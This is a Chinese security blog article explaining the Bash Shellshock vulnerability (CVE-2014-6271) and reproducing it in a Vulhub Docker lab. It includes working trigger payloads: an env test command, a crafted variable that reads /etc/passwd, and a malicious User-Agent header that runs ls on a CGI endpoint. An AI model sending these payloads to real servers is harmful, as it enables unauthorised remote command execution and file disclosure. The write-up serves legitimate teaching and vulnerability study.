文章总结: 该文档详细分析了BashShellshock漏洞(CVE-2014-6271)的成因与复现方法。漏洞因Bash解析环境变量时未严格校验函数边界,导致攻击者可通过恶意构造的HTTP头等途径实现远程代码执行。文档提供了Vulhub环境下的完整复现步骤,包括Docker部署、漏洞验证及利用场景分析,并指出影响范围为Bash≤4.3版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,实战经验
组件漏洞学习特辑一 | Bash Shellshock(CVE-2014-6271)漏洞复现全解
原创
OOO OOO
船山信安
2026年5月25日 16:36 湖南
在小说阅读器读本章
去阅读
一、漏洞基础信息
漏洞名称:Shellshock(破壳漏洞)
漏洞编号:CVE-2014-6271
漏洞类型:远程代码执行 RCE
危害等级:CVSS 10.0 最高危
影响组件:GNU Bash ≤ 4.3
披露时间:2014-09-24
核心问题:Bash 解析环境变量时,函数定义后可夹带恶意代码并自动执行
二、漏洞原理
1.正常环境变量与函数
Bash 支持把函数导出为环境变量,子进程可以继承执行:
x(){echo "test";}export -f xbashx #子进程仍可执行,输出 test
2.漏洞触发逻辑
Bash 在解析以() {开头的环境变量时,识别为函数定义,执行完函数后不停止解析,继续执行函数后面拼接的任意命令。
漏洞本质就是没有严格截断函数边界,参数未做合法性校验。
3.最简触发命令
env x = '() { :; }; echo 漏洞存在' bash -c "echo 正常执行"
若输出漏洞存在,说明目标存在 Shellshock 漏洞。
三、利用条件与场景
1.利用三要素
Bash 版本 ≤ 4.3(存在解析缺陷)
攻击者可控环境变量(如 HTTP 头、SSH 环境、DHCP 等)
新的 Bash 子进程被启动(执行 CGI、脚本、命令等)
2. 典型利用场景
Apache + CGI,Web 服务器会把 HTTP 请求头转为 HTTP_* 环境变量:
User-Agent: xxx --> HTTP_USER_AGENT=xxx
CGI 脚本用 Bash 执行时,继承全部环境变量,恶意请求头直接触发漏洞,实现无认证 RCE。
四、Vulhub 完整复现
1.环境准备
安装 Docker + docker-compose
拉取 vulhub 镜像库
2.启动漏洞环境
git clone https://github.com/vulhub/vulhub.gitcd vulhub/bash/CVE-2014-6271docker-compose up -d
3.进入容器验证 Bash 版本
4.本地变量 / 函数测试
这一步我们在容器内部手动测试 Bash 的环境变量与函数解析机制,从根源理解 Shellshock 为什么能触发。
① 普通环境变量测试
首先执行以下命令:
#定义一个普通环境变量export test = "hello"# 启动一个新的 Bash 子进程bash# 在子进程中查看变量echo $test
export 的作用是将变量导出为环境变量,让子进程也能继承,执行 bash 会开启一个全新的 Bash 子进程,在子进程里 echo $test 仍然能输出 hello,说明环境变量可以跨子进程传递,这是 Linux/Unix 系统正常的环境变量机制,本身没有问题。
② 函数形式环境变量测试
接下来我们构造以() {开头的环境变量,观察 Bash 的异常行为:
#构造一个“看起来像函数”的环境变量export func = '() { cat /etc/passwd; }'# 启动新的 Bash 子进程bash# 执行函数名func
我们并没有真正定义函数,只是把一个字符串赋值给环境变量,字符串内容以 () { 开头,符合 Bash 函数的定义格式,启动新 Bash 子进程时,Bash 会自动扫描并解析环境变量,但是 Bash 错误地把这个字符串解析成了一个合法函数,执行 func 时,成功读取 /etc/passwd 文件,证明变量被当作函数执行了,这就是 Shellshock 漏洞的核心,Bash 对环境变量的函数解析没有边界校验。
③ 漏洞最简触发
env x = '() { :; }; echo test1' bash -c "echo test2"
env x=’…’:设置一个环境变量 x。
() { :; };:构造一个空函数,让 Bash 认为这是函数定义。
echo test2:紧跟在函数后面的恶意代码。
bash -c “…”:启动子 Bash,触发解析。
正常逻辑是只执行 echo test1。但是实际情况是连 echo test2 也一起执行了。这说明 Bash 执行完函数后没有停止,而是继续执行了后面的任意代码。
5.漏洞验证
访问 http://IP:8080/cgi-bin/victim.cgi
抓包修改 User-Agent为
() { :; };echo ; echo $(/bin/ls /) #CGI 必须先输出响应头,再输出内容,所以加一个echo ;使命令回显
执行成功,在另一个safe.cgi中执行不成功。
Tips:为什么 User-Agent 能生效?
- CGI 文件特性,每次HTTP请求,请求头会被解析成环境变量,都会服务器新增环境变量(HTTP_USER_AGENT、HTTP_HOST…)
- CGI 脚本启动 Bash 子进程会继承全部环境变量
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 OOO OOO《组件漏洞学习特辑一 | Bash Shellshock(CVE-2014-6271)漏洞复现全解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论